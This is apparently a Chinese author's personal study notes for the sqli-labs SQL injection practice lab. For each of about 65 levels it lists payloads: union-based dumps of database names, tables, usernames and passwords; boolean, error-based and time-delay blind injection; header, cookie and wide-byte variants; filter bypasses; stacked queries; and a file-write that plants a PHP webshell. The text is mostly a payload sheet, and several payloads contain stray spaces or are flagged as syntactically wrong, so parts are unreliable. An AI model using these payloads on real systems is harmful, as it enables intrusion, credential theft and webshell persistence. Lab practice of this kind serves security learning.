思路都是思考别人的,这里是方便以后自己整理
刚开始提供完整的,后面都是根据前面的结合后面提供的关键思路进行注入
第一关:单引号
id=1' order by 3 --+
id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata --+
id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+
?id=-1' union select 1, username,password from users --+
第二关:整数
?id=1 order by 3 --+
?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata --+
?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+
?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+
第三关:')
?id=1') order by 3 --+
?id=-1') union select 1,group_concat(schema_name),3 from information_schema.schemata --+
?id=-1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+
?id=-1') union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+
第四关:")
?id=1") order by 3 --+
?id=-1") union select 1,group_concat(schema_name),3 from information_schema.schemata --+
?id=-1") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+
?id=-1") union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+
第五关:布尔、报错、延时
?id=1' and (length(database()))=8--+ # 判断第数据库长度是否等于八
?id=1' and left(database(),1)>'a'--+ # 判断数据库第一位是否大于a,这里引用的字符判断时ASCII码
?id=1' and left(database(),1)>'z'--+ # 判断数据库第一位是否大于z,当遇到这里盲注使用二分法比较合适
?id=1' and left(database(),1)='s'--+ # 判断出数据库的第一个字符串为s,写脚本时,第一位是不可能为特殊符号,其他的有可能是特殊符号,所以在使用的时候直接引用ASCII
?id=1' and left(database(),2)>'sa'--+ # 判断数据库两位是否大于sa,注意上面的一位一定要确定
?id=1' and left(database(),2)='se'--+ # 判断出数据库两个字符
...... # 猜库完成
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101--+ # 库中第一个表的表名对应ascii码中的101,对应字母是e
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' LIMIT 3,1),1,1))=117--+ # 第四个表中的表名第一个字符对应的ascii码
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' LIMIT 3,1),2,1))=115--+ # 第四个表中的表名第两个个字符
...... # 猜表完成
?id=1' and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^us' limit 0,1) --+ # 选择users表中是否有us开头的列,regexp是数据库中的正则,这里也可以直接查询是否有password字段
...... # 猜列完成
# id=1' and ORD(MID((SELECT IFNULL(CAST( 列名 AS CHAR),0x20) FROM 库名.表名 ORDER BY id LIMIT 0,1),1,1))=68--+
?id=1' and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20) FROM security.users ORDER BY id LIMIT 0,1),1,1))=68--+
?id=1' and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20) FROM security.users ORDER BY id LIMIT 0,1),2,1))=117--+
...... # 猜第一个username字段完成
?id=1' and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20) FROM security.users ORDER BY id LIMIT 1,1),1,1))=65--+
...... # 猜第二个username字段完成
?id=1' and ORD(MID((SELECT IFNULL(CAST(password AS CHAR),0x20) FROM security.users ORDER BY id LIMIT 0,1),1,1))=68--+
...... # 猜password字段完成
############################################# 布尔注入完成 ########################################################################
?id=1' union Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a--+ # 报错注入
?id=1' union select (exp(~(select * FROM(SELECT USER())a))),2,3--+ # 数值超出范围注入(语法有误)
?id=1' union select (!(select * from (select user())x) - ~0),2,3--+ # bigint 溢出进行报错注入 (语法有误)
?id=1' and extractvalue(1,concat(0x7e,(select @@version),0x7e)) --+ # xpath 函数报错注入
?id=1' and if(ascii(substr(database(),1,1))=115,1,sleep(5))--+ # 时延注入
?id=1' UNION SELECT (IF(SUBSTRING(current,1,1)=CHAR(115),BENCHMARK(50000000,ENCODE('MSG','by 5 seconds')),null)),2,3 FROM (select database() ascur rent) as tb1--+ # BENCHMARK()进行延时注入
############################################# 报错跟延时注入完成 ########################################################################
第六关:与第五一样,闭合方式变成"
?id=1" and (length(database()))=8--+
第七关:文件读写注入,闭合方式'))
?id=1')) UNION SELECT 1,2,3 into outfile "c:\\wamp\\www\\sqllib\\Less-7\\uuu.txt"--+
?id=1')) UNION SELECT 1,2,'<?php @eaval($_post[“mima”])?>' into outfile "c:\\wamp\\www\\sqllib\\Less-7\\yijuhua.php"--+ # 写入一句话木马拿到数据
第八关:与第五一样但不能用报错,闭合方式'
?id=1' and (length(database()))=8--+
第九关:延时注入,闭合方式'
?id=1' and If(ascii(substr(database(),2,1))=101,1,sleep(5))--+ # 猜数据库第一个字符
第十关:延时注入,闭合方式"
?id=1" and If(ascii(substr(database(),2,1))=101,1,sleep(5))--+ # 猜数据库第一个字符
第十一关:post注入,闭合'
Username:1admin' union select 1,database()# # 直接在username提交,数据没有过滤直接写入数据库
第十二关:post注入,闭合"
Username:1admin" union select 1,database()#
第十三关:post注入,闭合")
Username: admin")
第十四关:post盲注注入,闭合"
uname=admin')and left(database(),1)>'a'#&passwd=1&submit=Submit
第十五关:post盲注注入,闭合'
uname=admin'and If(ascii(substr(database(),1,1))=115,1,sleep(5))#&passwd=11&submit=Subm it
第十六关:post盲注注入,闭合")
uname=admin") and If(ascii(substr(database(),1,1))=115,1,sleep(5))#&passwd=11&submit=Subm it
第十七关:post盲注,可以时延跟报错注入,闭合'
uname=admin&passwd=11'and extractvalue(1,concat(0x7e,(select @@version),0x7e))#&submit=Submit # 报错注入
uname=admin&passwd=11'and If(ascii(substr(database(),1,1))=115,1,sleep(5))#&submit=Submit # 时延注入
第十八关:post ug注入
'and extractvalue(1,concat(0x7e,(select @@version),0x7e)) and '1'='1
第十九关:post referer注入
将 referer 修改为'and extractvalue(1,concat(0x7e,(select @@basedir),0x7e)) and '1'='1
第二十关:post cookie注入
第二十一关:post cookie注入,base64加密解码
第二十二关:post,base64加密解码
第二十三关:注释符号过滤
源语句:SELECT * FROM users WHERE id='$id' LIMIT 0,1 # 由于过滤了数据库的注释符,但我们可以利用前面的查询语句报错执行查询后面的查询,再使用引号闭合前面的
?id=-1'union select 1,(select group_concat(schema_name) from information_schema.schemata),'3
第二十四关:二次排序注入
源语句:UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass'
注册admin的账号为:admin'#
当更新账号时会变成 UPDATE users SET PASSWORD='$pass' where username='admin'#' and password='$curr_pass'
第二十五关:or与and过滤
常用的有:大小写、编码、注释符、符号
?id=1&&1=1
第二十五a关:or与and过滤,没有报错注入
第二十六关:各种符号的过滤(windows无法解析%a0)
?id=100%27union%0bselec t%a01,2,3||%271
第二十六a关:各种符号的过滤(windows无法解析%a0),闭合')
第二十七关:将union,select和各种字符过滤
?id=100'unIon%a0SelEcT%a01,database(),3||'1
第二十七关:将union,select和各种字符过滤,闭合"
?id=100"%a0UnIon%a0SElecT%a01,user(),"3
第二十八关:将union,select和各种字符过滤,闭合')
?id=100')union%a0select(1),(user()),(3)||('1
第二十九关:需要tomcat环境,暂时不做
?id=1&id=2 # Tomcat会先解析第一个id的参数。接下来Tomcat会再去请求Apache,Tomcat做waf的作用
index.jsp?id=1&id=-2' union select 1,user(),3--+
第三十关:
index.jsp?id=1&id=-2" union select 1,user(),3--+
第三十一关:
index.jsp?id=1&id=-2") union select 1,user(),3--+
第三十二关:宽字节注入,过滤 ' \ " 为 \' \\ \"
?id=-1%df%27union%20select%201,user(),3--+ # urlencode('\)= %5c%27,由于%df%5c%27的%df%5c会被当成汉字,剩下来%27就可以闭合前面的sql语句
第三十三关:宽字节注入,过滤 ' \ " 为 \' \\ \" 只是php函数不同
?id=-1%df%27union%20select%201,user(),3--+
第三十四关:post 宽字节,过滤 ' \ " 为 \' \\ \",可以通过乱码等
Username : 乱' or 1=1#
第三十五关:宽字节注入,过滤
?id=-1 union select 1,user(),3--+
第三十六关:宽字节注入,过滤
?id=乱' union select 1,user(),3--+
第三十七关:post 宽字节注入,过滤
乱' or 1=1#
第三十八关:堆叠注入,条件比较刻个(如权限、路径、库、表等),一般用在添加数据上面或者写文件
?id=1';select '写的数据内容' into outfile '路径'--+
第三十九关:堆叠注入,数字
?id=1;select '写的数据内容' into outfile '路径'--+
第四十关:堆叠注入,闭合 ')
?id=1');select '写的数据内容' into outfile '路径'--+
第四十一关:盲注、堆叠、数字
?id=1;select '写的数据内容' into outfile '路径'--+
第四十二关:堆叠注入,update,闭合'
Password::c';create table me like users# # 创建一个表
第四十三关:堆叠注入,update,闭合')
Password:c');create table less43 like users#
第四十四关:盲注、堆叠注入,update,闭合'
Password::c';create table me like users#
第四十五关:盲注、堆叠注入,update,闭合')
Password:c');create table less43 like users#
第四十六关:order by ,可以利用时延、报错
?sort=(select%20count(*)%20from%20information_schema.columns%20group%20by%20concat(0x3a,0x3a,(select%20user()),0x3a,0x3a,floor(rand()*2))) # 报错注入
?sort=rand(ascii(left(database(),1))=116) # 特有的,可以直接利用
?sort=1%20and%20If(ascii(substr(database(),1,1))=116,0,sleep(5)) # 时延注入
?sort=1 and 注入语句,效果一样
第四十七关:order by ,可以利用时延、报错,闭合'
?sort=1'and (select count(*) from information_schema.columns group by concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand()*2)))--+ #报错注入
?sort=1%27and%20If(ascii(substr(database(),1,1))=115,0,sleep(5))--+ # 时延注入
第四十八关:order by ,可以利用盲注时延、报错,闭合'
?sort=1'and (select count(*) from information_schema.columns group by concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand()*2)))--+ #报错注入
?sort=1%27and%20If(ascii(substr(database(),1,1))=115,0,sleep(5))--+ # 时延注入
第四十九关:order by ,可以利用盲注时延
?sort=1%27%20and%20(If(ascii(substr((select%20username%20from%20users%20where%20id=1),1,1))=69,0,sleep(5)))--+ 延时效果图就不贴图展示了,可以构造 substr 的第一个参数
第五十关:php函数不一致,导致可以执行多个sql语句
?sort=1;create%20table%20less50%20like%20u
第五十一关:php函数不一致,导致可以执行多个sql语句
?sort=1%27;create%20table%20less51%20like%20users--+
第五十二关:与五十关一致但没有回显
?sort=1;create%20table%20less52%20like%20users
第五十三关:与五十一关一致但没有回显
?sort=1%27;create%20table%20less53%20like%20users--+
第五十四关:仅能测试十次,到十次表名跟密码会更换(挂代理是比较好的选择)
?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'--+ # 得到的表是临时的
?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='51q85dpf8b'--+ #得到的列也是临时的
?id=-1'union select 1,2,group_concat(secret_R1QM) from challenges.51q85dpf8b--+ # 得到账号密码
第五十五关:可以测试十四次,与五十四一样,闭合)
?id=-1)union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'--+
第五十六关:与五十四一样,闭合')
?id=-1')union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'--+
第五十七关:对id进行""处理
?id=-1"union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'--+
第五十八关:不能使用联合,使用会报错,这里报错注入
?id=-1' union select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e))--+
第五十九关:跟五十八一样,整形
?id=-1 union select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e))--+
第六十关:跟五十八一样,闭合")
?id=-1") union select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e))--+
第六十一关:跟五十八一样,闭合'))
?id=-1')) union select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e))--+
第六十二关:时延注入,闭合')
?id=1')and If(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='challenges'),1,1))=79,0,sleep(10))--+
第六十三关:时延注入,闭合'
?id=1' and If(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='challenges'),1,1))=79,0,sleep(10))--+
第六十四关:时延注入,闭合))
?id=1)) and If(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='challenges'),1,1))=79,0,sleep(10))--+
第六十五关:过滤了""()
?id=1%22)and%20If(ascii(substr((select%20group_concat(tabl%20e_name)%20from%20information_schema.tables%20where%20table_schema=%27challenges%2%207),1,1))=79,0,sleep(10))--+